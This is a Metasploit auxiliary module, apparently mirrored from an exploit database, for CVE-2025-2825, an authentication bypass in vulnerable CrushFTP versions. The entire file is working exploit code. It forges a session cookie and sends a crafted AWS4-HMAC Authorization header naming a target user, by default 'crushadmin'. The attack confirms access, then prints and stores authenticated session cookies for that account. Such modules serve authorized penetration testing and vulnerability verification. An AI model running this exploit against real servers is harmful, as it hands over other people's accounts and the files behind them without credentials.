## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-CRUSHFTP_AUTHBYPASS_CVE_2025_2825-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CrushFTP AWS4-HMAC Authentication Bypass',
'Description' => %q{
This module leverages an authentication bypass in CrushFTP 11 < 11.3.1 and 10 < 10.8.4. Attackers
with knowledge of a valid username can provide a crafted S3 authentication header to the CrushFTP web API
to authenticate as that user without valid credentials. When successfully executed, the exploit will
output working session cookies for the target user account.
},
'License' => MSF_LICENSE,
'Author' => [
'Outpost24', # Initial Discovery
'remmons-r7' # MSF Module & Rapid7 Analysis
],
'References' => [
['CVE', '2025-2825'],
['URL', 'https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
# The CrushFTP.log file will contain a log of the HTTP requests
# Similarly, files in logs/session_logs/ will contain a log of the HTTP requests
# The sessions.obj file will temporarily persist details of recent requests
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETUSER', [true, 'The target account to forge a session cookie for', 'crushadmin']),
OptString.new('TARGETURI', [true, 'The URI path to CrushFTP', '/'])
]
)
end
def run
# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie
print_status('Confirming the target is a CrushFTP web service')
res_anonymous = get_anon_session
fail_with(Failure::Unknown, 'Connection failed - unable to get web API response') unless res_anonymous
# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP
if (res_anonymous&.code != 404) || res_anonymous&.get_cookies !~ /CrushAuth=([^;]+;)/
fail_with(Failure::Unknown, 'The target does not appear to be a CrushFTP web service')
end
# Generate a properly formatted fake CrushFTP cookie
user_cookie = generate_fake_cookie
print_status('Attempting to bypass authentication')
res_bypass = perform_auth_bypass(datastore['TARGETUSER'], user_cookie)
# Confirm that the target returns an empty response, otherwise it shouldn't be vulnerable
fail_with(Failure::NotVulnerable, 'The target unexpectedly returned a response') if res_bypass
print_good('The target returned the expected empty response and is likely vulnerable')
# Perform a duplicate request to confirm the cookie is now authenticated
print_status('Attempting to access an authenticated API endpoint with the malicious session cookie')
res_bypass = perform_auth_bypass(datastore['TARGETUSER'], user_cookie)
# Check for request failure, which indicates that the provided username is invalid
fail_with(Failure::BadConfig, 'Connection failed - the provided username is likely invalid') unless res_bypass
# If the target doesn't return a success message, assume the exploit failed
if !res_bypass.body.include? "<response>success</response><username>#{datastore['TARGETUSER']}</username>"
fail_with(Failure::Unknown, 'Exploit failed - the target did not confirm authentication status')
end
cookie_string = "Cookie: CrushAuth=#{user_cookie}; currentAuth=#{user_cookie.to_s[-4..]}"
print_good("Authentication bypass succeeded! Cookie string generated\n#{cookie_string}\n")
report_vuln(
host: rhost,
name: name,
refs: references
)
store_loot('CrushAuth', 'text/plain', datastore['RHOST'], cookie_string)
end
# A GET request to /WebInterface/ should return a 404 response that contains an 'anonymous' user cookie
def get_anon_session
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'WebInterface/')
)
end
def generate_fake_cookie
current_timestamp = Time.now.to_i
random_string = Rex::Text.rand_text_alphanumeric(30)
"#{current_timestamp}_#{random_string}"
end
# Make a request to the getUsername web API with the malicious bypass header
def perform_auth_bypass(username, cookie)
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),
'cookie' => "CrushAuth=#{cookie}",
'headers' => {
'Connection' => 'close',
'Authorization' => "AWS4-HMAC-SHA256 Credential=#{username}/"
},
'vars_post' => {
'command' => 'getUsername',
# The c2f parameter must be the last four characters of the primary session cookie
'c2f' => cookie.to_s[-4..]
}
}
)
end
end